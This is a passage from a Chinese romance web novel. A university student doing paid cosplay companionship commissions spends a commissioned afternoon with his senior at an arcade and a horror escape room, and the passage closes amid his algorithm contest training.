江洛正吃菜,闻言咬住筷子一愣。 他之前的委托是都接完了,但又刚接了新的,而且不是常规性委托,单主身份比较特殊,不可跟之前的委托一概而论。 戚雪影笑着眨了眨眼睛:“有排期给我了不?” 江洛不知道该怎么回,咬着筷子“唔”了一声。 程嘉树看了眼戚雪影:“你又要约委托啊。” 戚雪影笑了笑:“是啊,上次委托泡汤了,照片都没拍成,我想重新约一次。” 程嘉树对江洛说:“那还不赶紧给咱影总挑个日子。” “我……”江洛把嘴里的东西咽了下去。 “是不是还没接完啊?”戚雪影问他。 程嘉树嘴快道:“接完了啊他,已经是自由之身。” “那你下周六有空吗?”戚雪影问江洛。 江洛没空,因为他接了顾时越的委托,他完全可以直接跟戚雪影说没空,可以跟她另外约个时间,但不知道是不是因为涉及顾时越,他脑子突然就转不弯来了,心虚了似的,支支吾吾。 旁边的顾时越帮他开了口:“他没空。” 戚雪影看了眼顾时越。 话说到这里其实已经可以了,结果顾时越还补充了一句:“他接了我的委托。” 江洛呼吸一停,还没转过弯的脑子直接半路卡住。 程嘉树刚喝进去的柚子汁差点一口喷出来,猛一转头,一脸见鬼地看着顾时越- 作者有话说: 假树:[问号]别吵,我在烧烤 第32章 戚雪影愣了一下, 随即便轻笑出声:“……什么?” 程嘉树瞪着眼睛,目光在顾时越和江洛之间飞速流转。 江洛一声也不敢吭,只恨自己不会遁地之术。 眼下这种情况, 换以前江洛肯定不是现在这个反应, 有什么的,不就是接了学长的cos委托。以他的性格,在以前绝对会大大方方地说出来。 可彼一时,此一时。 “啥玩意儿啊越哥?”程嘉树还处在震惊中, “你说江洛接了你的委托?” 顾时越“嗯”了一声。 “……我操这是中文吗?”程嘉树看向江洛,瞳孔还在持续余震中, “这都什么跟什么……” 程嘉树反应那么大纯粹是因为当事人是顾时越, 他想破脑袋都想不到顾时越这样的人竟然会约cos委托, 不管理由是什么,是图新鲜想体验一下, 还是想借着委托的由头给江洛提供经济帮助, 这都很让人震惊。 江洛被程嘉树盯得浑身不自在, 尴尬地喝了口水。 戚雪影眉梢微挑,反应比程嘉树平淡许多,顾时越连江洛的漫展签售会都能亲自去排队,约个委托也不算什么。 “要是这样的话, ”戚雪影意味不明地笑了下, “那只能以后再找机会了。” 一想到江洛接了顾时越的委托, 程嘉树还是觉得很魔幻, 他一脸认真地问顾时越:“越哥,你真的知道我们说的‘委托’是什么吗?” 顾时越看着程嘉树:“你可以现在解释一下。” 戚雪影失笑出声:“他都已经约了还能不知道是什么吗,你这问的什么问题。” “不是!你真知道啊!”程嘉树也笑了,已然消化此事, “那你知不知道约cos委托的一般都是女生啊哥。” 顾时越看了江洛一眼,意有所指:“未必。” 短短两个字就让江洛如芒在背。 戚雪影笑道:“你这是偏见。洛洛又不出乙游角色,也不是女孩子,男生怎么就不能约他的委托了。” “我说的是一般情况,给越哥科普一下。”程嘉树说。 顾时越点了点头:“继续。” “嗯?” “还有什么需要科普的,继续说。” 程嘉树笑了:“你怎么不问江洛,让他给你科普啊。” 江洛不声不响,只顾埋头吃菜,都快没存在感了。 程嘉树继续说着:“你现在是他的单主,是甲方,他有义务为你提供一切服——” 江洛夹了个小鸡翅往他嘴里一塞,咬牙苦笑:“你快吃饭吧。” 程嘉树咬住鸡翅,那张嘴终于消停。 至于顾时越为什么会突然找江洛约委托,程嘉树没问,反正在他看来,顾时越约江洛的委托大概是想借个由头让江洛赚点钱,不太可能是一时兴起约着玩。 顾时越对江洛一直挺关照,之前他让江洛上门喂猫就是先例,程嘉树知道,不然江洛也不会这么待见这个学长。 如此想来,更奇怪的应该是江洛——他竟然接下了顾时越的委托。 委托费又不便宜,按他的性格,他肯定不可能会让顾时越破这个费。 程嘉树看了江洛一眼。 这是在搞什么? 江洛的手机响了,他拿起来看了一眼,是江晨的电话。 可算找着机会出去喘口气,江洛赶紧拿上手机站了起来:“我出去接个电话。” 这周江洛要回去看江晨,今天周五,他本来是要回家跟江晨一起吃晚饭的,但今天田皓宇生日,约了江晨一起过生日,正好江洛这边戚雪影也约吃饭,他就改签了车票,打算晚点再回去。 江晨那边刚吃好,和田皓宇正在坐地铁回去的路上。 “哥,你几点的车票,什么时候到车站?我去接你。” “不用你接。你吃完饭了?” “嗯。回去了。” “这么早就回去了,怎么不在外面多玩会儿,今天不是小宇生日吗?” “没什么好玩的。” 坐旁边的田皓宇抱怨声很大:“我叫你去我家打游戏你都不去!你这人咋这样!今天我生日啊气死我了。” 他嗓门不小,江洛听得真真切切,笑得不行,批评他弟:“你咋回事啊江小晨,人家今天是寿星诶,这么点要求都不满足人家。” 江晨侧眸扫了田皓宇一眼,低声嘀咕:“礼物送了,蛋糕送了,饭也吃了,还有哪里不满意。” 以江晨这个不解风情的呆呆性格,这确实已经做得很到位了,换成别人,他都不一定会答应跟人家出去吃饭。 田皓宇气得像条河豚,双手抱胸不吭声。 江晨叹了口气:“知道了。” 田皓宇转头看向他:“去我家?” 江晨点了点头:“嗯。” 田皓宇立马被哄好:“嘿嘿,好。” 江洛在电话那头说:“没事,我回来还要一会儿呢,你俩好好玩。” “那你上车了给我发消息。” “好。” 接完电话江洛在花园里站了一会儿,他捧住自己的脸用力地揉了揉,忽然听到身后传来顾时越的声音:“怎么不进去?” 江洛迅速转过身,脸被揉得有点红:“我……运动一下。” “屋里也可以运动。外面冷,进去吧。” 顾时越身上穿着外套,看起来好像要走了,江洛张了张嘴:“学长你……” “我有点事,先走。”顾时越今天晚上本来就有事,一开始就没打算久留,他来这里吃饭是计划之外。 “这么快吗,你有没有吃饱啊?” “本来也不饿。走了。”顾时越从他身旁经过时抬了下手,掌心在他头顶轻轻碰了一下,“下周见。” 江洛转过身,出神地望着顾时越离去的背影,抬起手摸了摸他刚才碰过的地方。 江洛和顾时越的委托约在周六下午,一般情况下委托当日的行程都是单主定的,这次情况特殊,江洛怕顾时越不熟悉流程,主动问他委托当天有什么想做的事。 他提前两天在微信上问的,顾时越回他:你决定。 江洛想了想,问他:你想玩密室逃脱吗? 顾时越:可以。 一下午的时间,不可能只玩个密室逃脱,打电玩也比较适合两个男生一起,再不然就是去游乐园,但要是去游乐园,可能就没时间进行别的活动了,而且顾时越看起来也不像是会喜欢去游乐园的人。 这么一想,打电玩也不合适,顾时越肯定也不喜欢打游戏。 江洛正纠结,顾时越发了条消息过来:就这样? 江洛:没有没有 江洛:我还在想呢 江洛:我不知道你喜欢玩什么~~ 顾时越:选你喜欢玩的。 顾时越:不是喜欢打游戏么,可以去打游戏。 江洛:我也没有那么爱打游戏[小狗目移.jpg] 江洛:你平时不是不打游戏嘛,还是换个活动吧,换个你喜欢的 江洛:我真的没有那么爱打游戏,真的(认真脸) 顾时越:不用换,就这个。 密室逃脱和电玩体验馆都是江洛选的,委托这天,两个人约在学校门口碰头,江洛cos的夏目贵志,穿着日式的冬季校服,背着墨绿色的斜挎书包,包上还挂了个挺大的猫咪老师玩偶,因为人物特征很明显,他在去校门口的路上很快就被路过的学生认出来了。 一路上有好几个社牛的学生找他集邮合照,江洛委托期间不会跟单主以外的人合照,所以都婉拒了。 顾时越很少开车来学校,白天开车进学校不方便,路上都是学生,也没地方停车,他的车停在校门口路边,江洛一出来就看到了。他朝车那边走去,半道又有一个经过的女生拿着手机走到他面前,问他能不能集邮。 江洛摇头婉拒,一抬眼发现顾时越把车窗打开了,车窗缓缓下落,顾时越坐在车里,看着这边。 江洛赶紧走了过去,打开车门坐进车里,他今天状态调整得有点慢,皮上皮下左右互搏,脑子一抽,一开口来了句:“你好。” 顾时越转头看他一眼,回了一句:“你好。” 江洛忍不住笑了,低下头拉了拉耳垂。他主要是不知道该怎么称呼顾时越,如果还叫“学长”那就ooc了。可是不叫“学长”,他好像都不知道该怎么跟顾时越说话了。 顾时越启动车子,问了句:“今天是要跟我当陌生人?” “不是……我就是一下子不知道该怎么称呼你了。”江洛解释道,“叫学长可能会有点ooc……” “你想怎么称呼?” 江洛想了想,叫“哥”其实也挺ooc的,直呼大名他也呼不出口,还不如直接叫学长。 “还是叫‘学长’吧。”江洛说。 两个人先吃了个午饭,然后去了电玩体验馆,这是家新开的店,环境不错,包间也很宽敞,店员帮他们调试好设备就关上门出去了。 江洛把猫咪老师玩偶从挎包上拆下来,让它坐在沙发上,还拿个抱枕给它靠着。他抽了张酒精湿巾把游戏手柄擦了擦,递给顾时越:“你想玩什么类型的游戏啊?” 顾时越接过手柄:“你推荐。” 江洛想了想,说:“那要不就双人成行?比较热门的一款,玩的人挺多的,双人闯关那种类型。” “好。”顾时越低头看了眼手里的游戏手柄,他平时不打游戏,像这种需要手柄操作的游戏也是小时候梁思恒带着他玩的,过去那么多年,怎么操作已经很生疏了。 江洛操作手柄切换游戏界面,找到双人成行点了进去。电视上在加载剧情,这游戏江洛早就通关了,玩过好几遍,前面的剧情都能背了。 剧情结束,正式进入游戏,江洛拿起手柄跟顾时越介绍了一下上面各个按键的功能。 “左边这个遥感是控制方向的,右边控制视角。”江洛边说边操作手柄,控制游戏里的小人,“叉叉是跳,圈圈是蹲,方框是冲刺。” “还有上面这两个键,”江洛按了按手柄上端外沿的两个按钮,“这两个用道具的时候会用到,一会儿等实战的时候我再跟你讲。” “嗯。” 这个游戏说难也不难,就是比较需要有想象力,第一次玩肯定会有点云里雾里,不知道该干什么,江洛不想影响顾时越的游戏体验感,尽管自己已经玩过很多遍,也没说像个游戏说明书一样提示顾时越每一步该干什么。 事实上顾时越也完全不需要他的提示,他玩了没一会儿就理清了这个游戏的玩法逻辑,和江洛配合默契,任务做得特别快,手柄操作得也相当熟练,完全不像是第一次玩。 江洛之前陪好几个单主玩过这个游戏,有玩过一点的,也有从来没玩过的,谁都没顾时越玩得这么熟练。 “学长,你之前是玩过这个游戏吗?” “没有。” “你好厉害啊,第一次玩就玩得这么溜。”江洛又想起之前跟顾时越玩手游,他上手也是这么快,果然聪明人干什么都厉害,学习厉害,玩也厉害。 “陪我玩这个不无聊吗?”顾时越看着电视屏幕,忽然问了一句。 江洛转头看了他一眼。 “这游戏你玩过很多遍了吧。” 江洛笑了笑:“是玩过很多遍了,但是陪你玩不无聊。” “陪别人呢?”顾时越操作着手柄,语气漫不经心,“上次那个男单主,你跟他玩的游戏也是这个?” 第33章 江洛被问懵了, 愣了几秒没说话。 顾时越转头看了他一眼:“嗯?” 除了顾时越,江洛就只接过一个男单主的委托,他当然知道顾时越说的是谁。 “就玩了一会会儿时间……”江洛很小声地说, “没有一直跟他玩这个。而且他也没有你厉害, 你玩得特别好……” 顾时越问:“还玩了什么?” 江洛一愣,随即握紧了游戏手柄:“就、就是随便挑着玩的,你还有什么想玩的,我、我们也可以玩的。” 江洛说话有点结巴, 手里的手柄攥得紧紧的,那样子看着跟顾时越在审他似的。 顾时越注视着他:“我跟你说话, 你为什么总是要紧张。” 两人无声对视, 瞳孔里映照着彼此的脸庞。 “我……”江洛垂下眼眸, 指腹在遥感上轻轻蹭着,“我不知道。” 他想说“因为是你”, 但顶着角色的皮他说不出口。 顾时越转过头去看电视屏幕:“换个你想玩的游戏。不用陪我玩你玩过的。” “没事没事, 你觉得好玩就行, 这上面大部分游戏我都玩过了,我玩什么都可以。” 两个人最后还是没换游戏,接着玩了下去。每关结束都要打大怪,打大怪最考验默契, 有一方操作不行这大怪就很难打死, 江洛之前就经历过这种情况, 有一次光是打大怪就打了半小时。 跟顾时越一起打怪果然很顺畅, 轻轻松松就通关。 密室逃脱和电玩体验馆在一个商场里,他们玩了差不多两个小时就转场去了密室逃脱。 密室逃脱在商场负一层,今天周六,店里人很多, 江洛一进来就吸引了不少人的目光,他旁边站着顾时越,两个帅哥一起走到前台,相当引人注目。 因为顾时越是男生,所以江洛出着cos也没被看出来在接委托,有两个女生走上前小声问他:“老师请问可以集邮吗?” 江洛婉拒道:“不好意思,我现在在出委托。” 那两个女生愣了一下,视线一转,齐刷刷地看向江洛旁边的顾时越。 “啊……”其中一个女生惊讶地张了张嘴,立马说:“不好意思不好意思,打扰了。” 两个女生转身走了,挽着胳膊脑袋靠在一块偷偷笑着,她们坐回休息区等朋友,喝着奶茶说悄悄话,前台拢共就这么大点空间,江洛去前台核销券码的时候还能听到她们的说话声。 “他包上还有个娘口三三,好萌啊。” “居然会有男生约委托……不是瞎说的吧?” “这有啥好瞎说的,肯定有。哎呀两个都好帅啊。” “啊是真的帅,不过确定是委托不是一对儿吗……” 江洛手一抖,手机差点没拿稳。 江洛以前玩的密室逃脱主题基本都是非恐或者微恐程度的,这次他询问了顾时越的意见,选了个中恐程度的,2个人就可以开场。 玩密室的大多都是组团来的,尤其是玩恐怖主题的,像他们这样只有两个人组队的比较少。江洛玩纯解密类型的密室比较多,他自己本身也喜欢解谜做任务,就像做算法题一样,很享受那个解题的过程。恐怖主题的密室更侧重营造恐怖感,所以解谜也相对来说更简单,更别说江洛这次的队友是顾时越,相当于多了一个外挂——事实也确实如此,前两个房间的题都解得很快。 这个密室的背景地点是一间废弃的医院,他们的主线任务是查出院长惨死、医院闹鬼的真相。江洛第一次玩中恐程度的密室,说一点不害怕那是不可能的,一进场光线就消失了,黑得伸手不见五指,四处窜着阴嗖嗖的冷风,伴随着各种瘆人的音效。 他们才刚过两个房间,就已经遇到了三个扮鬼的NPC,也就是江洛和顾时越胆子都 比较大,胆子小一点早就吓得抱头鼠窜吱哇乱叫了。 江洛和顾时越基本只有找线索和解题的时候才有交流,本来他们就只有两个人,没人说话就显得氛围更加阴森恐怖。 他们正在经过一条走廊,走廊很窄,两个人并排走有点挤,所以就一前一后地走着。这里一点光线都没有,完全看不清周遭环境,江洛能听到顾时越的脚步声,但他看不见顾时越的人。 “学长?”江洛出了个声。 “嗯。”顾时越应了声,声音很近。 江洛伸出手向前摸了摸,摸了个空:“你在哪里啊?” 顾时越停了下来,江洛手碰到了他的背,心里踏实了一些。 “走我旁边吧。”顾时越说。 “好。”江洛走到了他旁边,两个人微微侧着身,这样不至于太挤。 走着走着,走廊尽头突然亮起了微弱的红光,两人脚步一顿,一个穿着红裙披头散发女人在尽头一晃而过。 灯灭了,走廊又陷入一片黑暗。 红光再次亮起的时候,那个穿着红裙的女人已经站在了走廊中间,距离他们几步之遥,垂着脑袋,头发挡住了脸,手垂在身侧,指尖在滴血。 灯又灭了,伴随着一声凄厉的惨叫,红衣女人瞬间冲到他们面前。 顾时越迅速把江洛拉到身后,这种真人NPC有时候不单是纯吓人,可能还会上手,这里光线太暗,走廊又窄,到处乱跑不小心磕着碰着很容易受伤。 顾时越站在原地没动,拉着江洛的手腕把他往自己身后带了一下,女鬼冲着他贴面鬼叫,妆容其实挺瘆人的,但顾时越只是微微偏了下头。 看得出来这位女鬼有点尴尬,按照常规流程,这两位应该被吓得转头就跑。 简直是职业生涯滑铁卢。 女鬼又象征性地吓了一下,江洛反应也不大,看着眼前这个画面,他甚至有点想笑。 顾时越拉着江洛绕过女鬼,女鬼跟在他们身后,敬业地吓了一路,然后半道就没影了。又不是真的鬼,也不可能真的冲上来索他们的命,吓不着就退场了。 江洛回头看了一眼,忍不住笑了起来:“不行了,太搞笑了。” 顾时越看了他一眼。 “你让人家好尴尬呀。”江洛笑着说。 “那我去跟她道个歉?” “哈哈哈哈哈哈哈……” 顾时越第一次看江洛笑成这样,也不由得笑了下:“这么好笑?” 江洛点点头:“是的,超级好笑,你们俩刚才面对面站着那个画面真的太搞笑了。” 顾时越低笑一声,没说什么。 “你也觉得好笑吧,”江洛凑近了看他,“你都笑了,我听见你笑了。” 顾时越垂眸看着他,没说话。 江洛眨了下眼睛,不自在地转过身去,转移话题:“我们现在往哪边走啊……” 第三个房间看起来像个实验室,里面有一张病床,病床上躺着个人,裹着沾满血迹的纱布,不知道是真人NPC还是道具。 病床对面是一排生锈的柜子,柜子上摆满了玻璃罐,罐子里泡着人体器官的标本。房间里光线很暗,天花板上吊着一只歪歪扭扭的灯泡,闪烁着昏暗的绿光,一闪一闪,忽明忽暗。 两个人在房间里找线索,放着器官标本的柜子里全是各种触发的机关和道具,都是用来吓人的,玩密室只要不被吓得六神无主,线索找起来就不难,他俩很快就找到了。 根据线索输密码开门,密码锁设在病床旁边,顾时越输完密码,门锁“咔”的一声轻响,就在这时,躺在病床上的“人”突然嘶吼着坐了起来,猛地伸直胳膊,浑身抽搐着把手伸向他们。 江洛知道肯定会有这么一出,但他没想到这个“人”坐起来的一瞬间头竟然掉了,这完全在意料之外,吓得他叫了一声,猛地抓住了顾时越的胳膊。 顾时越下意识环住江洛的肩膀,搂着他往后退了几步。 那个“头”砰的一声砸在地上,滚到了床底下,床上的“无头死尸”伸着胳膊猛然一顿,一瞬间没了声响,僵直地倒回了床上。 江洛是真被吓到了,他主要是被那个突然掉下来的“头”吓的,做得太逼真了,从那人脖子上咔嚓一下就落地了,毫无征兆。 江洛吓得心脏砰砰直跳,低着头靠在顾时越身前,还没缓过来。 顾时越低头看着他:“我以为你不怕呢。” 这一路上江洛确实没怎么害怕,顾时越看他胆子挺大的,什么动静都吓不着他,满心满眼只有对解题的渴望。 江洛抬头看了他一眼,声音有点虚:“怕啊,吓死我了都……” “我看你胆子挺大。” 江洛胆子确实挺大的,至少这一路上的机关和NPC都没怎么把他吓到。 他回过神才发现自己几乎就靠在顾时越怀里,手紧紧抓着顾时越的胳膊,被他身上的味道包裹着。 心理上的喜欢必然伴随着生理上的喜欢。 小小的肢体接触都足以让人沉醉、留恋。 江洛觉得自己可能是昏头了,他现在什么也没想,就想这么贴着顾时越。如果害怕就能跟顾时越贴贴,那就干脆装一装呗。 “没有的,我胆子不大的。刚才是强装镇定,其实已经没招了。”江洛松开顾时越的胳膊,手指沿着衣袖缓缓滑下去,滑到袖口,轻轻抓住。他低着头,小声问顾时越:“我有点怕……我能不能跟着你啊。” “我是说……”江洛微微抿唇,拽住了他的衣袖,“这样跟着。” 顾时越问他:“这样就可以了?” 江洛抬头看他,犹豫了一下,说:“还……不可以。” “可不可以牵着手?”江洛问完耳朵就红了。 “可以。” 话音刚落,顾时越的手还没伸过去,江洛就松开他的袖子,红着耳朵主动牵住了他的手。 江洛确实是昏头了,他完全忘了自己还顶着动漫角色的皮,不过一看到挎包上的猫咪老师,他又瞬间想起来了,反应过来后立马撒开了顾时越的手。 “为什么要松开?”顾时越问他。 江洛如梦初醒,垂下眼眸,说:“因为我今天不是江洛。想牵你手的……是江洛。” 第34章 顾时越静静地看着江洛, 随后往他身前走了一步。 江洛睫毛一颤,条件反射地往后退了一步,不知道是不是踩到了机关, 只听见“砰”的一声, 天花板的镂空处突然有个假人掉了下来,人头朝下猛地往下一坠,脚被吊住,悬在半空中, 缺了一条胳膊。 注意力猛地被打断,江洛又被吓了一跳。 这家密室的道具都做得很逼真, 这虽然是个假人, 但也看得出很有重量, 吊在空中慢慢转着圈。这里实在不是个说话的地方,江洛轻呼了口气, 对顾时越说:“学长……我们还是先解题出去吧。” 确实, 在这里聊什么都毫无氛围可言, 顾时越“嗯”了声。 两个人没花多长时间就“逃”出去了,工作人员还是第一次遇到这种纯靠自己找线索还这么快就出来的玩家,竖了竖大拇指夸他俩“牛逼”。今天两个人原打算一起吃晚饭,结果刚进电梯顾时越就接到了通电话, 表情变得有点严肃。 “他现在怎么样?” “在哪个医院?” “知道了。” 顾时越挂了电话, 眉心微微蹙着, 江洛问他:“怎么了?” “我舅他胃出血, 现在在医院。” 江洛吃了一惊:“严重吗?” “还不清楚。”顾时越看了他一眼,“我要去趟医院,不能跟你一起吃饭了。” 江洛点点头:“你快去吧。” “先送你回学校。” “不用不用,你直接过去吧, 我自己回去就行。” “费不了多少时间,走吧。” 顾时越先送江洛回了学校,他把江洛送到校门口,江洛解开了安全带:“你快去吧,开车当心一点。” 江洛刚要开门下车,忽然听见顾时越说:“你的委托可不可以都留给我。” 江洛动作一顿,转头看向他:“什……什么?” 顾时越转头看着他:“我要买断你的委托,可以吗?” 江洛怔了片刻,抓着包带的手微微收紧:“学长,你要买断……是因为不想让我接其他人的委托吗?” “是。” 江洛心尖一颤,小声说:“我以后不会再接其他人的委托了,你不用买断的。”他停顿了片刻,看着顾时越的眼睛,耳廓渐渐变红:“而且你也没必要买断,我的时间……都可以给你。” 江洛的脸已经红透了,只是粉底盖着看起来不明显,白皙的脸上只透出一点浅浅的红。 顾时越还没开口,江洛就开门下车了:“我、我先走了学长。” 他不想耽误顾时越去看他舅舅,关上门就匆匆离开了,跑得比兔子还快。 每次都这样,说完话就跑。 顾时越坐在车里,沉默地看着江洛已经远去的背影。 顾时越开车去了医院,进病房的时候梁思恒还在打电话,靠坐在床上,左手还打着点滴。 梁思恒看见顾时越明显愣了一下,转头看了一眼站在床边的助理,助理微微低下了头。 梁思恒挂了电话,斜眼看着助理:“我不是交代你别让他知道吗,拿我的话当耳旁风?你是不想干了。” 助理低着头:“不敢,我只是担心您的身体。” 梁思恒今天胃出血送医院,以助理对他的了解,他在医院待不到明天就得出院,除了他这个外甥,谁说话他能听。胃出血不是小病,不好好修养怎么行。 梁思恒把手机往床头一扔:“你都敢成什么样了,还不敢呢。” “没有办法,我的话,您不听。” 梁思恒嗤笑一声:“我是老板你是老板?还要我听你的话,反了天了你。” 助理仍旧低着头:“不敢。” “少跟我扮猪吃虎。”梁思恒抬了抬下巴,“出去,不想看见你。” “好。”助理恭敬地欠了欠身子,转身朝门口走去。 顾时越叫住他:“报告单呢?” 助理从手提包里拿出几张单子递给顾时越:“他这几天需要禁食休养。” 顾时越点了下头,拿过单子看了看。 梁思恒躺在床上,脸色有点苍白,顾时越抬起眼皮看了他一眼。 “越大越没规矩,见了我也不知道叫人。”梁思恒伸手摸了摸床头柜上的烟盒。 顾时越走过来抽走了他手里的烟盒。 梁思恒“嘶”了一声:“我这里是vip病房,抽烟影响不到别人。” “生病抽烟,医生教你的?” “我是胃有问题,抽烟影响的是肺,跟胃又没关系。”梁思恒勾勾手指,“烟给我。” “你还知道你胃有问题。”顾时越把烟盒往垃圾桶里一丢。 “哎!唉……” 顾时越皱着眉:“怎么会突然胃出血,你喝多少酒?” 梁思恒歪着头靠在枕头上:“老毛病了,甭担心,死不了。” 梁思恒生意上应酬多,平时饮食又不规律,他自己也爱喝酒,胃一直不好。 顾时越坐在了旁边的椅子上,继续看着手里的单子。 “饿了,给我弄点吃的。”梁思恒说。 “你现在不能吃东西。” “我肚子里空得不行,难受,你给我弄点粥也行。” 顾时越头也不抬:“不行。” 梁思恒冲门外叫了一声:“祁助理。” 助理就在门外,一叫就出现:“梁总,什么事?” “我要喝粥。” “您现在不能进食。” “我要饿死了你管不管。” “我——” “你现在挂的是葡萄糖,补充能量的,”顾时越说,“可以维持你的基本生命。” 祁助理笑了声:“是这样。您再忍一忍,四天之后就可以进食了。” 梁思恒躺了下去,被子往脸上一盖,声音闷在被子底下:“出去。” 祁助理站在门口笑了笑:“梁总,我本来就在外面。” “别跟我油嘴滑舌。” “不敢。” 顾时越抬起头看了祁助理一眼:“祁助理,别太惯着他。” “什么玩意儿?”梁思恒一把掀开被子,瞪着顾时越。 梁思恒都三十七了,生活上还总这么孩子气,其实都是他身边这位金牌助理惯出来的。 祁助理看着顾时越笑了下:“倒也没有。” “我平时不常跟他见面,他身边只有你,能照顾他的也只有你。” 祁助理点了点头:“我明白您的意思。” “辛苦。” “应该的。” 顾时越的手机响了一下,他拿出来看了一眼,是江洛发来的消息:学长,你到医院了吗? 顾时越:到了 江洛:你舅舅怎么样了? 顾时越:没什么大碍,要住院休息几天 江洛:那就好 梁思恒往他这边看了一眼:“回消息回得这么勤快,是上次那个小漂亮?” 顾时越抬眸看他一眼:“他叫江洛。” “哟,还真是啊。”梁思恒摆摆手,“你也甭在我这待着了,该干嘛去干嘛去吧,找你的小漂亮去吧。” “我不在这待着你今天半夜就能跑了。” 梁思恒笑出声来:“还挺了解我。” 顾时越站了起来,帮他调慢了一下点滴的速度:“不然你以为祁助理为什么要找我。” “哎你别给我调这么慢。” 点滴速度一看就是梁思恒自己调的,滴得特别快,顾时越说:“你怎么不瓶子拔下来直接对嘴喝呢。” 梁思恒耸着肩“嗤嗤”笑着:“我倒是也想。” 顾时越倒也没有在他舅舅这里待太久,八点多他就走了,他舅舅有祁助理陪着,有事祁助理会随时联系他。顾时越是祁助理摆出来的明牌,有外甥监督,当舅舅的能听点话。 顾时越叫了个餐到家里,回家吃了晚饭。 到家后他又收到了江洛的消息:学长你吃晚饭了吗? 顾时越:正在吃 江洛:好的 顾时越:明天晚上一起吃饭? 江洛:校队那边马上要去参加比赛了,这段时间要加训,我这几天可能有点没空[对手指.jpg] 顾时越:什么比赛? 江洛:就是算法竞赛~ 顾时越:什么时候 江洛:下下周六 顾时越:嗯,那你忙你的 江洛:嗯嗯 因为这段时间江洛在集训备赛,顾时越不想打扰他,就一直没再找过他,江洛线上联系他也很少,几乎是个消失的状态,两个人直接一个多礼拜没见面。江洛确实太忙了,每天除上课以外的时间都被训练占满了,根本分不出心来。 这天上完课江洛回宿舍拿东西,准备一会儿吃完晚饭直接去实验室。他挎上书包走出宿舍,程嘉树发了条微信来,约他吃饭。 江洛边走边打字回复:没时间,我一会儿得去实验室刷题。 程嘉树:你这忙的也是没谁了,吃顿饭的工夫都没有。 程嘉树:对了我今天在操场打球看见越哥了 程嘉树:他被个胖子撞了 江洛:??? 江洛:打球被撞了吗? 程嘉树:对 江洛:他受伤没有? 程嘉树:摔了一下,我过去看了,没啥大事,手上擦破点皮 江洛立马给顾时越打了个电话。 顾时越刚到家没多久,他给棉团套上背带,正准备带它下楼散步。 手机响了起来,顾时越盯着屏幕上的名字看了几秒,接通了电话。 “喂?” “学长你没事吧?”江洛的声音听起来有点着急,“大树说你今天打球被人撞了,你是不是受伤了?伤得严重吗?” “手上擦破点皮,没什么事。” “其他地方没有伤到?” “没有。” 江洛放下心来:“伤口消毒了吗?” “嗯。” 顾时越有一个多礼拜没听到他的声音了。 顾时越坐在玄关,低头摸着棉团的脑袋,棉团的毛软乎乎的,轻轻蹭着他的掌心。 江洛的声音也像软软的绒毛,轻轻蹭着他的心尖。 “洛仔。”电话那头传来另一个男生的声音,声音不大,像是从远处传来的。 江洛回了下头,秦一帆招着手快步朝他走来。 江洛叫了声“队长”。 秦一帆是算法竞赛队的队长,他是江洛的直系学长,宿舍跟江洛在同一幢楼。这几天集训,江洛日常活动基本都跟秦一帆在一起,他们现在就要一起去吃饭。 算法竞赛一般是团队赛,一支队伍由三名队员组成,区域赛一个学校可以派出一支或多支队伍,这取决于学校以往的赛事成绩和本区的名额分配规则,能代表学校参加正式比赛的队员都是被选拔出来的。江洛和秦一帆位列其中,他们这一队还有一名队员是秦一帆的同班同学,叫周庭,此人比较有个性,高冷寡言,独来独往,只有训练的时候才能看见他。 “打电话呢?”秦一帆问。 “啊,你等会儿我。” “行。” 江洛扭头对电话的顾时越说:“学长,我先去吃饭了,到时候再聊。” “你在哪里?” “我?我现在在宿舍,正准备出去吃饭。”江洛解释了一下,“噢那个,刚刚是我校队的队长,他来找我的。” “知道了,去吃饭吧。” “好。你注意点伤口,最好别碰水。” “嗯,知道。” “那我挂了,拜拜学长。” 江洛又消失了一个礼拜,期间他只跟顾时越联系过三次,每一次都是询问顾时越的伤势。顾时越本身不是个爱聊微信的人,比起线上联系,他更喜欢直接见面。以前他就很少主动找江洛聊天,这段时间江洛在准备竞赛,他就更不会去打扰他了。 顾时越最近在准备毕业设计的开题报告,几乎天天待在实验室。项勤也保研了,他跟顾时越一个导师,两个人已经提前进组,在实验室有自己的工位。 项勤坐顾时越对面,他起身去倒了杯水,走过来看了一眼顾时越的电脑:“又做数值模拟又设计实验?你别太牛了。” “哎,我是没办法两个一起搞了,搞不动。”项勤坐了下来,“老夏不是还要你帮他写东西吗。” 顾时越盯着电脑屏幕,打着字“嗯”了一声。 “果然仙人有别,你真不是人。” 顾时越抬眸看了他一眼。 项勤喝了口水,笑了笑:“褒义,非贬义。” 项勤拿出手机看了看,刷到了江洛刚发的一条朋友圈。 “江洛挺厉害啊。”项勤看着手机说了一句。 顾时越闻言抬了下头。 项勤抬头看了他一眼:“他还是校acm队的?” “你怎么知道。” 项勤举了下手机:“他刚发了条朋友圈。” “发的什么?” “你自己看。”项勤笑了,“还得我给你转述啊。” 顾时越平时从来不看朋友圈,他拿起手机点进微信朋友圈看了一眼。已经快十一点了,这个点朋友圈动态很少,一点开最新一条就是江洛发的。 他发了张照片,照片拍的是电脑屏幕一角,屏幕上是满满的代码。配字:看似在敲代码,其实已经走了有一会儿了。 这个电脑是台式电脑,他应该在校队实验室。 戚雪影在底下评论:这么晚了还在敲呀? 江洛回复她:是啊,马上要打比赛了,刷题呢=w= 顾时越已经有半个月没见过江洛了,项勤走后没多久,他也离开了实验室。 已经十一点半了,顾时越没有往校门口走,而是去了计科院。 他不知道江洛还在不在那,也没发微信问他,他只是想过去看看他,产生这个念头的一瞬间,就直接去了。 计科院大楼还有几个办公室的灯亮着,一楼大厅没有开灯,一片昏暗。门口的路灯年久失修,本来就不亮,还被树叶挡着,大楼外面也很暗。 顾时越在大楼外面站了一会儿,已经入冬,夜里的温度很低。 顾时越没指望一定能在这看见江洛,走到这里的时候他甚至不知道自己在想什么。 但他还是站在树下等了一会儿。 没过多久,有两道身影从大楼里走了出来。 顾时越认出了江洛的身影,他不是一个人,他旁边跟着他的队长,那个叫他“洛仔”的人。 “走吧,请你吃夜宵去。”秦一帆搭着江洛的肩,“想吃什么?” 江洛想了想,开玩笑道:“我现在就想吃个奶油蛋糕,生日蛋糕那种蛋糕,六寸就可以。” 秦一帆笑了声:“这个点我上哪儿给你弄生日蛋糕去,还要六寸的,要求还挺多的你。” 江洛打了个哈欠:“听队长的吧,队长吃啥我吃啥,不挑。” “生日蛋糕等比赛结束了我再给你搞,给你搞个八寸的。” “太奢侈了吧。”江洛笑着说。 “只要拿牌子,一个小小的八寸蛋糕算什么。” “万一打铁了……” 